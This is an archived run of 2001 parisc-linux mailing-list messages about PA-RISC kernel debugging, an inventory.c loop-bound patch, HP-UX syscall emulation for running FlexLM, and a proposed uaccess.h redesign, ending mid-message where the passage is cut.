	by opus.allegro.com (8.9.3/8.9.3) id JAA19873;
	Thu, 4 Oct 2001 09:31:52 -0700
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D851@umr-mail03.cc.umr.edu> from "Neulinger, Nathan" at Oct 04, 2001 08:24:38 AM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:12464

Re:

> inst2 login: swapper[0]: Unaligned data reference 28
...
> r4-7     109e8db2 10380ac8 0000000c 109e8d94
...
>  IIR: 0c801093    ISR: 00000000  IOR: 109e8db2

That's:   LDWS     0(0,4),19
and R4 is $109e8db2   (which is only 2-byte aligned)

BTW, pardon me for asking what might be an easy question, but...
how does one disassemble an instruction on HP-UX / Linux?

thanks,

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com




From - Thu Nov 08 21:19:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti broken in pa32 on B180
Date: Thu, 04 Oct 2001 19:06:17 +0200 (CEST)
Lines: 46
Approved: news@gmane.org
Message-ID: <1002215177.3bbc9709265c5@webmail.tiscalinet.be>
References: <1002191096.3bbc38f8c42ed@webmail.tiscalinet.be> <20011004071350.A27483@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620568 27039 80.91.229.3 (22 Nov 2014 01:42:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:48 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 11:06:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20C5E48B0
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 11:06:33 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15pBwv-0006nw-00; Thu, 04 Oct 2001 19:06:17 +0200
In-Reply-To: <20011004071350.A27483@beavis.ybsoft.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12465

Hi Ryan,

Sorry but patch does not help.

Thanks any way,
        Joel

Quoting Ryan Bradetich <rbradetich@uswest.net>:

> On Thu, Oct 04, 2001 at 12:24:56PM +0200, joel.soete@freebel.net wrote:
> > Hi all,
> > 
> > I just come back to my hppa boxes (a 712/80 and a b180) and just co
> the last cvs 
> > kernel (-pa32).
> > I do usual make oldconfig; make dep ; make vmlinux (on the 712).
> 
> Try the following patch ... Thomas said this is what fixed STI on the
> B-class machines for him.  If it works, I'll commit it.
> 
> Thanks,
> 
> - Ryan
> 
> 
> diff -u -p -r1.37 inventory.c
> --- inventory.c	2001/10/04 00:17:52	1.37
> +++ inventory.c	2001/10/04 13:08:21
> @@ -542,7 +542,7 @@ add_system_map_addresses(struct parisc_d
>  		return;
>  	}
>  
> -	for(i = 0; i < num_addrs; ++i) {
> +	for(i = 0; i <= num_addrs; ++i) {
>  		status = pdc_system_map_find_addrs(&addr_result, 
>  						   module_instance, i);
>  		if(PDC_RET_OK == status) {
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP-UX binary compatibility
Date: Thu, 4 Oct 2001 12:58:18 -0500
Lines: 55
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D861@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620569 27044 80.91.229.3 (22 Nov 2014 01:42:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 11:59:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59DB448B0
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 11:59:13 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id MAA18729; Thu, 4 Oct 2001 12:59:11 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHFPD3>; Thu, 4 Oct 2001 12:59:11 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12466

I'm just getting my feet wet in this, but this didn't work:

int hpux_sysfs(int opcode, unsigned long arg1, unsigned long arg2)
{
/*Unimplemented HP-UX syscall emulation. Syscall #334 (sysfs)
  Args: 1 80057bf4 0 400179f0 0 0 0 */

        if ( opcode == 1 ) { /* GETFSIND */
                printk(KERN_DEBUG "hpux_sysfs called with '%s'", (char
*)arg1);
        }

        printk(KERN_DEBUG "hpux_sysfs called with opcode = %d\n", opcode);
}

If I comment out that if block, it runs just fine. Is there a call I should
use to make sure an address is safe prior to using it? (i.e. so I don't
cause an oops?) I get an immediate dump on the console as soon as I run the
app I'm testing.

BTW, w/ a couple of small stub wrappers, I've been able to get flexlm to run
and serve licenses, and have lmdiag say it's working (and can check out
licenses), but for some reason client applications are not working, so I'm
just trying to add any missing syscals it uses where possible to see if I
can figure out the problem. 

-- Nathan

> -----Original Message-----
> From: John Marvin [mailto:jsm@udlkern.fc.hp.com]
> Sent: Thursday, October 04, 2001 6:57 AM
> To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] HP-UX binary compatibility
> 
> 
> 
> I just committed a patch that restores some of the elementary HP-UX
> binary compatibility functionality. Shared libraries also work. But
> there is a ton of more work to do. Lots of wrappers need to be written
> (see the arch/parisc/hpux directory for files that contain the support
> for this functionality). One major missing piece is signal support.
> Mapping ioctl arguments is another significant effort ...
> 
> John
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:19:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX binary compatibility
Date: Thu, 4 Oct 2001 21:10:08 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20011004211008.F14606@parcelfarce.linux.theplanet.co.uk>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D861@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620569 27047 80.91.229.3 (22 Nov 2014 01:42:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 14:10:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1993482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 14:10:11 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15pEoq-0006Pe-00; Thu, 04 Oct 2001 21:10:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D861@umr-mail03.cc.umr.edu>; from nneul@umr.edu on Thu, Oct 04, 2001 at 12:58:18PM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12467

On Thu, Oct 04, 2001 at 12:58:18PM -0500, Neulinger, Nathan wrote:
> int hpux_sysfs(int opcode, unsigned long arg1, unsigned long arg2)
> {
> /*Unimplemented HP-UX syscall emulation. Syscall #334 (sysfs)
>   Args: 1 80057bf4 0 400179f0 0 0 0 */
> 
>         if ( opcode == 1 ) { /* GETFSIND */
>                 printk(KERN_DEBUG "hpux_sysfs called with '%s'", (char
> *)arg1);
>         }
> 
>         printk(KERN_DEBUG "hpux_sysfs called with opcode = %d\n", opcode);
> }

You can't do that.  `arg1' points to a user address, not a kernel
address.  You need to use things like strlen_user and copy_from_user --
see include/asm-parisc/uaccess.h.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP-UX binary compatibility
Date: Thu, 4 Oct 2001 15:56:41 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D864@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620569 27051 80.91.229.3 (22 Nov 2014 01:42:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Matthew Wilcox'" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 14:57:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A10B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 14:57:42 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id PAA16048; Thu, 4 Oct 2001 15:57:35 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHF4T1>; Thu, 4 Oct 2001 15:57:35 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12468

Hey, thanks. That's exactly what I needed... Got it working now. 

I've added a bunch more direct syscall calls (for the most part, call
behavior looked close enough or same in man pages) and some stub wrappers.
statfs seems semi-functional as moment, but not quite correct since a few
fields are returned as garbage (just calling real one at moment and ignoring
extra hp fields).

I'll send a patch tomorrow maybe to add some of these. i'm sure some leaves
a lot to be desired, but it's at least a bit more functional for some stuff
I've tested. 

-- Nathan

> -----Original Message-----
> From: Matthew Wilcox [mailto:willy@debian.org]
> Sent: Thursday, October 04, 2001 3:10 PM
> To: Neulinger, Nathan
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] HP-UX binary compatibility
> 
> 
> On Thu, Oct 04, 2001 at 12:58:18PM -0500, Neulinger, Nathan wrote:
> > int hpux_sysfs(int opcode, unsigned long arg1, unsigned long arg2)
> > {
> > /*Unimplemented HP-UX syscall emulation. Syscall #334 (sysfs)
> >   Args: 1 80057bf4 0 400179f0 0 0 0 */
> > 
> >         if ( opcode == 1 ) { /* GETFSIND */
> >                 printk(KERN_DEBUG "hpux_sysfs called with 
> '%s'", (char
> > *)arg1);
> >         }
> > 
> >         printk(KERN_DEBUG "hpux_sysfs called with opcode = 
> %d\n", opcode);
> > }
> 
> You can't do that.  `arg1' points to a user address, not a kernel
> address.  You need to use things like strlen_user and 
> copy_from_user --
> see include/asm-parisc/uaccess.h.
> 
> -- 
> Revolutions do not require corporate support.
> 




From - Thu Nov 08 21:19:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP-UX binary compatibility
Date: Thu, 4 Oct 2001 16:16:52 -0500
Lines: 93
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D865@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620570 27056 80.91.229.3 (22 Nov 2014 01:42:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:50 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 15:17:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id A75284978
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 15:17:49 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id QAA24827; Thu, 4 Oct 2001 16:17:47 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHFVKJ>; Thu, 4 Oct 2001 16:17:47 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12469

Got a question of how best to do something - flexlm does the lanscan style
open of /dev/lan, /dev/lan0...15 to try and figure out the local hardware
address of the machine:

24240: open("/dev/lan", O_RDONLY) = -1 ENOENT (No such file or directory)
24240: open("/dev/lan", O_RDONLY) = -1 ENOENT (No such file or directory)
24240: open("/dev/lan0", O_RDONLY) = 9
24240: ioctl(9 [/dev/lan0], NETSTAT, 0x7b03bc28) = 0
24240: sigprocmask(2, 0x7b038a80, 0x7b03cf28) = 0
24240: sigprocmask(2, 0x7b03cf28, 0) = 0
24240: close(9 [/dev/lan0]) = 0
24240: time(0) = 0x3bbcd084
24240: write(1 [fluent.log], 0x7b028000, 66) = 66

What do y'all think is the best way of dealing with this? I could add the
wrapper that traps the open system call, and then special case handle an
open of /dev/lan*, and somehow keep track of that file descriptor in a
global var of some sort, and then test for that fd in a wrapped ioctl
handler? 

Or would there be some nicer way of dealing with this?

Then again, I suppose I could also just return legit info on any NETSTAT
ioctl on any open fd and just have the open of /dev/lan really open
/dev/null. That might be the simplest way to get it working. 

Of course, at the moment, flexlm isn't working for the uname case either -
interestingly, lmstat and lmdiag say it's working fine, but the actual app
that tries to check out a license gets a "internal license error", so I'm
missing something somewhere still, just got to find it. Sure would be nice
if strace worked on hpux executables or the ptrace call worked. 

-- Nathan

> -----Original Message-----
> From: Neulinger, Nathan 
> Sent: Thursday, October 04, 2001 3:57 PM
> To: 'Matthew Wilcox'
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: RE: [parisc-linux] HP-UX binary compatibility
> 
> 
> Hey, thanks. That's exactly what I needed... Got it working now. 
> 
> I've added a bunch more direct syscall calls (for the most 
> part, call behavior looked close enough or same in man pages) 
> and some stub wrappers. statfs seems semi-functional as 
> moment, but not quite correct since a few fields are returned 
> as garbage (just calling real one at moment and ignoring 
> extra hp fields).
> 
> I'll send a patch tomorrow maybe to add some of these. i'm 
> sure some leaves a lot to be desired, but it's at least a bit 
> more functional for some stuff I've tested. 
> 
> -- Nathan
> 
> > -----Original Message-----
> > From: Matthew Wilcox [mailto:willy@debian.org]
> > Sent: Thursday, October 04, 2001 3:10 PM
> > To: Neulinger, Nathan
> > Cc: parisc-linux@lists.parisc-linux.org
> > Subject: Re: [parisc-linux] HP-UX binary compatibility
> > 
> > 
> > On Thu, Oct 04, 2001 at 12:58:18PM -0500, Neulinger, Nathan wrote:
> > > int hpux_sysfs(int opcode, unsigned long arg1, unsigned long arg2)
> > > {
> > > /*Unimplemented HP-UX syscall emulation. Syscall #334 (sysfs)
> > >   Args: 1 80057bf4 0 400179f0 0 0 0 */
> > > 
> > >         if ( opcode == 1 ) { /* GETFSIND */
> > >                 printk(KERN_DEBUG "hpux_sysfs called with 
> > '%s'", (char
> > > *)arg1);
> > >         }
> > > 
> > >         printk(KERN_DEBUG "hpux_sysfs called with opcode = 
> > %d\n", opcode);
> > > }
> > 
> > You can't do that.  `arg1' points to a user address, not a kernel
> > address.  You need to use things like strlen_user and 
> > copy_from_user --
> > see include/asm-parisc/uaccess.h.
> > 
> > -- 
> > Revolutions do not require corporate support.
> > 
> 




From - Thu Nov 08 21:19:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A todo entry
Date: Fri, 5 Oct 2001 06:38:22 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <20011005063822.A19206@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620570 27062 80.91.229.3 (22 Nov 2014 01:42:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 23:38:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB2BA482A
	for <parisc-linux@parisc-linux.org>; Thu,  4 Oct 2001 23:38:43 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15pNgk-0005Fa-00
	for parisc-linux@parisc-linux.org; Fri, 05 Oct 2001 06:38:22 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12470

Someone was asking for a job to do.  Here's one.

In include/asm-parisc/uaccess.h, we have a couple of functions which
look like this:

#define __get_user(x,ptr)                               \
({                                                      \
        register long __gu_err __asm__ ("r8") = 0;      \
        register long __gu_val __asm__ ("r9") = 0;      \
                                                        \
        if (segment_eq(get_fs(),KERNEL_DS)) {           \
            switch (sizeof(*(ptr))) {                   \
            case 1: __get_kernel_asm("ldb",ptr); break; \
            case 2: __get_kernel_asm("ldh",ptr); break; \
            case 4: __get_kernel_asm("ldw",ptr); break; \
            case 8: __get_kernel_asm("ldd",ptr); break; \
            default: BUG(); break;                      \
            }                                           \
        }                                               \
        else {                                          \
            switch (sizeof(*(ptr))) {                   \
            case 1: __get_user_asm("ldb",ptr); break;   \
            case 2: __get_user_asm("ldh",ptr); break;   \
            case 4: __get_user_asm("ldw",ptr); break;   \
            case 8: __get_user_asm("ldd",ptr); break;   \
            default: BUG(); break;                      \
            }                                           \
        }                                               \
                                                        \
        (x) = (__typeof__(*(ptr))) __gu_val;            \
        __gu_err;                                       \
})

This is rather suboptimal.  The way it should be done is to always
access userspace through %sr2 (currently listed as unused).  Set sr2
to the same value as sr3 normally.  Set it to 0 when someone does a
set_fs(KERNEL_DS), and to sr3 when USER_DS.  get_fs() should return the
value of sr2.  None of these functions are called frequently, so there's
no need to cache the values outside the space registers.

This probably isn't a big job, but there's probably some subtlety I've
overlooked.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti broken in pa32 on B180
Date: Fri, 05 Oct 2001 08:19:29 +0200 (CEST)
Lines: 71
Approved: news@gmane.org
Message-ID: <1002262769.3bbd50f1a5860@webmail.tiscalinet.be>
References: <1002191096.3bbc38f8c42ed@webmail.tiscalinet.be> <20011004071350.A27483@beavis.ybsoft.com> <1002215177.3bbc9709265c5@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620570 27066 80.91.229.3 (22 Nov 2014 01:42:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:50 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>, joel.soete@freebel.net,
	tsbogend@alpha.franken.de
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 00:19:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id B039E482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 00:19:31 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15pOKX-0003po-00; Fri, 05 Oct 2001 08:19:29 +0200
In-Reply-To: <1002215177.3bbc9709265c5@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12471

Hi Ryan and Thomas,

for(i = 1; i <= num_addrs; ++i) {
        ^
works also for me.

Nervertheless on this b180 the (ps/2) kbd problem is reproductible:
disconnect, reconnect the kdb then touch any key then:
"keyboard: unrecognised scancode (7f) - Ignored"
and I do not find a way to reinit the this kdb.
(System still running, just loss the access to the console)

Thanks in advance for addtional help,
        Joel


Quoting joel.soete@freebel.net:

> Hi Ryan,
> 
> Sorry but patch does not help.
> 
> Thanks any way,
>         Joel
> 
> Quoting Ryan Bradetich <rbradetich@uswest.net>:
> 
> > On Thu, Oct 04, 2001 at 12:24:56PM +0200, joel.soete@freebel.net
> wrote:
> > > Hi all,
> > > 
> > > I just come back to my hppa boxes (a 712/80 and a b180) and just co
> > the last cvs 
> > > kernel (-pa32).
> > > I do usual make oldconfig; make dep ; make vmlinux (on the 712).
> > 
> > Try the following patch ... Thomas said this is what fixed STI on the
> > B-class machines for him.  If it works, I'll commit it.
> > 
> > Thanks,
> > 
> > - Ryan
> > 
> > 
> > diff -u -p -r1.37 inventory.c
> > --- inventory.c	2001/10/04 00:17:52	1.37
> > +++ inventory.c	2001/10/04 13:08:21
> > @@ -542,7 +542,7 @@ add_system_map_addresses(struct parisc_d
> >  		return;
> >  	}
> >  
> > -	for(i = 0; i < num_addrs; ++i) {
> > +	
> >  		status = pdc_system_map_find_addrs(&addr_result, 
> >  						   module_instance, i);
> >  		if(PDC_RET_OK == status) {
> > 
> > 
> 
> 
> -------------------------------------------------
> This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX binary compatibility
Date: Fri, 5 Oct 2001 10:17:53 +0200
Organization: SAP LinuxLab
Lines: 21
Approved: news@gmane.org
Message-ID: <200110050818.KAA00431@sap-ag.de>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D85B@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620570 27069 80.91.229.3 (22 Nov 2014 01:42:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:50 +0000 (UTC)
Cc: "Uetrecht, Daniel J." <uetrecht@umr.edu>
To: "Neulinger, Nathan" <nneul@umr.edu>,
	"'John Marvin'" <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 02:22:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 295DC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 02:22:13 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id KAA21071;
  Fri, 5 Oct 2001 10:20:52 +0200 (MESZ)
X-Mailer: KMail [version 1.3]
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D85B@umr-mail03.cc.umr.edu>
X-SAP: out
X-SAP: out
X-SAP: out
Xref: news.gmane.org gmane.linux.ports.parisc:12472

Hi Nathan,

On Thursday 04 October 2001 17:07, Neulinger, Nathan wrote:
>
> troot-halley(11)> uname -a
> HP-UX halley B.10.20 A 9000/735 2002000004 two-user license
> troot-halley(12)> uname -i
> 2002000004
>
> It's that 2002000004 that I need. 

I currently don't have access to a parisc-linux machine, but out of 
my head I think you may get that number from the /proc/cpuinfo file 
(maybe it is displayed there in hex) and may use it from the variable
behind this output for your syscall wrapper.

Greetings,
Helge




From - Thu Nov 08 21:19:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a todo entry
Date: Fri, 5 Oct 2001 03:03:25 -0600 (MDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <200110050903.DAA15266@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620571 27074 80.91.229.3 (22 Nov 2014 01:42:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 03:03:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id F41DC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 03:03:26 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id 00D86EC4
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 05:03:25 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id DAA15266
	for parisc-linux@lists.parisc-linux.org; Fri, 5 Oct 2001 03:03:25 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12473

> This is rather suboptimal.  The way it should be done is to always
> access userspace through %sr2 (currently listed as unused).  Set sr2
> to the same value as sr3 normally.  Set it to 0 when someone does a
> set_fs(KERNEL_DS), and to sr3 when USER_DS.  get_fs() should return the
> value of sr2.  None of these functions are called frequently, so there's
> no need to cache the values outside the space registers.
>
> This probably isn't a big job, but there's probably some subtlety I've
> overlooked.

The subtlety you overlooked is that although sr2 has no current use
